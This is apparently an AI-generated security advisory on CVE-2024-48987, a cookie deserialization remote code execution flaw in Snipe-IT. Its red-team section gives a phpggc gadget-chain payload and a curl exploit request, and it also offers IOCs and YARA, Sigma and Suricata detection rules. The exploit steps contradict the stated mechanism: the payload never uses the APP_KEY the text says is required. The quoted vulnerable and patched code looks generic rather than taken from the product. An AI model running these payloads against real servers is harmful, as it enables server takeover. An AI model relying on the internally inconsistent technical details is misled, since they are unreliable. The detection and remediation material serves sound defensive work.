CVE-2024-48987

Executive Summary

CVE-2024-48987 is a critical remote code execution (RCE) vulnerability in Snipe-IT, an open-source asset management system. The flaw resides in insecure cookie deserialization, which can be exploited if an attacker obtains the application's APP_KEY. The risk is significantly amplified because default APP_KEY values are publicly available in .env files within the product's repository. Successful exploitation allows an attacker to execute arbitrary PHP code on the server, leading to full system compromise. The vulnerability affects all versions prior to 7.0.10.

Supply Chain & Package Security

Snipe-IT is a PHP application distributed via GitHub and Composer. The presence of default APP_KEY values in the repository's .env example files constitutes a supply chain risk, as developers may inadvertently deploy these insecure defaults into production environments. Organizations using Snipe-IT should verify that their APP_KEY is unique and securely generated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required beyond knowing the APP_KEY.
• Privileges Required (PR): High (H) - Requires knowledge of the APP_KEY, which is a high-value secret.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - Exploitation does not affect other components.
• Confidentiality (C): High (H) - Full read access to server data.
• Integrity (I): High (H) - Full write access to server data.
• Availability (A): High (H) - Full control over server availability.

CVSS Score: 7.2 (High) - This reflects the high privileges required but the severe impact once exploited.

Deep Dive & Mechanics

The vulnerability is a classic PHP object injection via insecure deserialization. Snipe-IT uses PHP sessions and cookies to manage user state. The application deserializes data from cookies without proper validation. If an attacker knows the APP_KEY, they can craft a malicious serialized PHP object that, when deserialized, triggers arbitrary code execution.

The attack flow:

1. Obtain APP_KEY: The attacker retrieves the APP_KEY from a publicly accessible .env file (e.g., from a misconfigured server or the default values in the repository).
2. Craft Malicious Cookie: The attacker creates a serialized PHP object containing a gadget chain (e.g., using Monolog or SwiftMailer gadgets) that executes system commands.
3. Send Request: The attacker sends an HTTP request to the Snipe-IT server with the crafted cookie.
4. Deserialization: The server deserializes the cookie, triggering the gadget chain and executing the attacker's code.

The .env file exposure is a critical enabler. Default APP_KEY values like base64:... are documented in the repository's .env.example file, making them trivial to guess.

Vulnerable vs. Patched Code

Vulnerable Code (pre-7.0.10): The application uses PHP's unserialize() on cookie data without integrity checks.

// Vulnerable: Direct deserialization of user input
$data = unserialize($_COOKIE['snipeit_session']);

Patched Code (7.0.10+): The application now uses json_decode() and validates the data structure, or implements HMAC verification on serialized data.

// Patched: Use JSON and validate structure
$data = json_decode($_COOKIE['snipeit_session'], true);
if (is_array($data) && isset($data['user_id'])) {
    // Process safely
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Snipe-IT instance (version < 7.0.10)
• Knowledge of the APP_KEY (e.g., from a leaked .env file or default value)

Exploitation Steps:

1. Identify APP_KEY: Check for exposed .env files at /.env or use default values from the repository (e.g., base64:...).

2. Craft Malicious Cookie: Use PHPGGC (PHP Generic Gadget Chains) to generate a payload.

   # Example using Monolog/RCE1 gadget chain
   phpggc Monolog/RCE1 system 'id' | base64
   

3. Send Exploit Request:

   curl -X GET 'http://target.com/' \
     -b "snipeit_session=$(phpggc Monolog/RCE1 system 'id' | base64 -w0)" \
     -H "Cookie: snipeit_session=$(phpggc Monolog/RCE1 system 'id' | base64 -w0)"
   

4. Verify Execution: Check for command output in server logs or error messages.

Blue Team (Defensive)

Detection & Prevention:

• Monitor for anomalous cookie values (e.g., base64-encoded serialized PHP objects).
• Implement Web Application Firewall (WAF) rules to block requests with suspicious cookie patterns.
• Ensure APP_KEY is unique and not exposed in public repositories or .env files.
• Apply the patch immediately (upgrade to 7.0.10+).

Honeypot Setup:

• Deploy a decoy Snipe-IT instance with a known default APP_KEY to detect scanning attempts.
• Log all cookie deserialization attempts for analysis.

Indicators of Compromise (IOCs)

• Network: HTTP requests with unusually long or base64-encoded cookies containing PHP serialized objects (e.g., O:... patterns).
• File System: Unexpected files in /tmp, /var/www/html, or web-accessible directories (e.g., shell.php).
• Process: Unusual child processes spawned by the web server (e.g., id, whoami, nc).
• Logs: PHP error logs showing unserialize() errors or ErrorException messages.
• Environment: Presence of default APP_KEY values in .env files.

Detection Engineering

YARA Rule

rule CVE_2024_48987_SnipeIT_Cookie_Deserialization {
    meta:
        description = "Detects malicious cookie payloads targeting CVE-2024-48987"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48987"
    strings:
        $s1 = "snipeit_session="
        $s2 = "O:" ascii wide  // PHP serialized object
        $s3 = "system" ascii wide
        $s4 = "exec" ascii wide
        $s5 = "passthru" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: Snipe-IT Cookie Deserialization Exploit Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f4a5b6c
status: experimental
description: Detects HTTP requests with suspicious cookie values indicative of CVE-2024-48987 exploitation
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-cookie|contains: 'snipeit_session='
        cs-cookie|re: 'O:[0-9]+:"'
    condition: selection
falsepositives:
    - Legitimate use of serialized session data (rare)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-48987 Snipe-IT Cookie Deserialization Attempt";
    flow:to_server;
    content:"snipeit_session="; http_cookie;
    pcre:"/O:\d+:\"/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Snipe-IT to version 7.0.10 or later.
2. Rotate the APP_KEY to a unique, cryptographically secure value.
3. Remove or secure any .env files from public web directories.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block serialized PHP objects in cookies.
• Enable HTTPS to prevent cookie interception.
• Conduct regular security audits and penetration testing.
• Monitor for exposed .env files using automated scanners.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis or incident response, contact your security team.